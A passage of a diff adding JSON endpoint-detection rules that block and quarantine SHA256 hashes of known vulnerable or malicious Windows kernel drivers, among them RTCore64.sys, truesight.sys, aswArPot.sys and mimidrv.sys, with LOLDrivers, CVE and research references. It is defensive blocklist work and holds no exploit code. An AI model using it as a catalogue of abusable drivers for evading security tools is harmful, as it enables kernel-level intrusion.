+  "type": "hash",
+  "value": "4eb1b9f3fe3c79f20c9cdeba92f6d6eb9b9ed15b546851e1f5338c0b7d36364b",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "776a8b23-bee6-55d5-a2a5-7b462d0e3160",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617782Z",
+  "creation_date": "2026-03-23T11:45:29.617784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8",
+  "comment": "Getac Technology vulnerable BIOS update tool (aka mtcBSv64.sys) [https://www.loldrivers.io/drivers/3bc629e8-7bf8-40c2-965b-87eb155e0065/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7777b725-f411-5be2-a4cc-0ecc91efcfe2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144334Z",
+  "creation_date": "2026-03-23T11:45:32.144337Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "289761eef2976b001879181b97324408e849729dbf41403fb73ee85565667012",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "778d68f5-f8fc-5f57-884b-750a324caebb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145570Z",
+  "creation_date": "2026-03-23T11:45:31.145572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145578Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3ec72b09bf08acde63cb70be268d3dc8024e475a09016be6ba84389613842f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "779ad2b7-43c4-59c1-9613-a69705cb4a6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605953Z",
+  "creation_date": "2026-03-23T11:45:29.605956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77ab0f68-a723-5bc1-88bd-a3d02660da9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150000Z",
+  "creation_date": "2026-03-23T11:45:31.150002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10aef6faf4aacd54afa01b6e5476be5c5c12bf65fb938150a23058646cf006ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77ac351a-d90f-5f9b-85e3-bb9ef210e769",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969452Z",
+  "creation_date": "2026-03-23T11:45:29.969454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cd8e9eb8e4754f07fdfc8c3aae4d7fc0d25b346884c3474db35c757d2994b34",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77af0422-e09d-5357-905f-a31d166784ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487613Z",
+  "creation_date": "2026-03-23T11:45:31.487615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "653ed33a842c6b966785d9cf3e1e794e28585305e989f70954ccf0e9f9126444",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77b2ede8-c6ef-595f-87a9-78cc356f5e7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829501Z",
+  "creation_date": "2026-03-23T11:45:30.829503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5b43b85c87271641e2ac41768851284a02b3eb578946a32c9b0e762f2c00dcc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77b45c06-d4fb-5167-b87b-420515322979",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490243Z",
+  "creation_date": "2026-03-23T11:45:31.490245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490251Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddb9683ac78ea953dc06145752a8662f16485eeddbcca3e7f466d3d148d2d2ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77b5a870-8639-54ee-9d54-a7ff3674cb16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622508Z",
+  "creation_date": "2026-03-23T11:45:29.622510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622516Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "092349aebdac28294dbad1656759d8461f362d1a36b01054dccf861d97beadf0",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77b91e54-81ce-56d0-8587-ac1517abcbdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469981Z",
+  "creation_date": "2026-03-23T11:45:30.469984Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fba340eece424f30bdf80126f2d72eba5165bc174ccfb5e240b281639f675e3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77c6fba4-3cc2-532a-93f2-a3648acc9a78",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810100Z",
+  "creation_date": "2026-03-23T11:45:31.810103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc02b24769fc1f663fd40d2d4733e22276d08856730422f5595d4418d656a80f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77d18535-fce9-5b08-b599-c1fee5dc51d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478258Z",
+  "creation_date": "2026-03-23T11:45:30.478261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478270Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07e8a7f0fcc8be78167704c6679c70ea184961f5a5bd2066620a4b7eeb939885",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77dd89f9-ef8b-565c-b785-221113a73cec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607800Z",
+  "creation_date": "2026-03-23T11:45:29.607802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1867d13a4cab66a76f4d4448824ca0cb3a176064626f9618c0c103ee3cb4f47",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77fc4491-498b-520f-96ef-ced91cd7467b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815384Z",
+  "creation_date": "2026-03-23T11:45:31.815386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4dd128411779f4e1e0a9b15dfec68c671e9b6b4b429c06668b048b15d230ea0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "77fcec05-7565-50a9-adf3-2393067c03ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474474Z",
+  "creation_date": "2026-03-23T11:45:30.474477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "718e76d8cdcdf7b06342b5137f5591233aece4bf70fa9d761d38bd02993a0906",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7802e821-d9dc-5cdf-b254-4843786bf3c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835954Z",
+  "creation_date": "2026-03-23T11:45:30.835957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "563a68c814f5f720b44eb252d2b4d10c048ff8034d5d44c9796862b9487a4e48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78110f68-ba90-5a8f-a4d4-bda3e7ac5e34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836487Z",
+  "creation_date": "2026-03-23T11:45:30.836489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836494Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "823d2d249504e080aa8ca2af09f3b147675f21ba1953a0164efe3d9e90b7b12b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7817cbc4-ea14-5326-8e1b-1211056888ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815898Z",
+  "creation_date": "2026-03-23T11:45:31.815900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59a23a5ecb1d083892900e8590d97645cd01e6b6e1ae823144b833ff9311217f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "781863cd-dfa9-570a-88f3-6b80b7e5569d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144932Z",
+  "creation_date": "2026-03-23T11:45:31.144936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144942Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c490af54e5d4ae907873bcd1279907445b1f37413b4ec081a8b36bfb303db19d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "78190055-60c9-50ab-b3ab-d02cbf0c3dc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827578Z",
+  "creation_date": "2026-03-23T11:45:30.827580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3cff3b8a356b80eda5fd748c23691dd711b2d6553ff373e43dd4025b40b0ad5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7824f082-58f7-5f3a-ad77-d557d2a4bc99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809544Z",
+  "creation_date": "2026-03-23T11:45:31.809547Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "771b9b964d2e3d7a6743d28371622c14d6dd695ac5cc6a1b16449415608f50a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
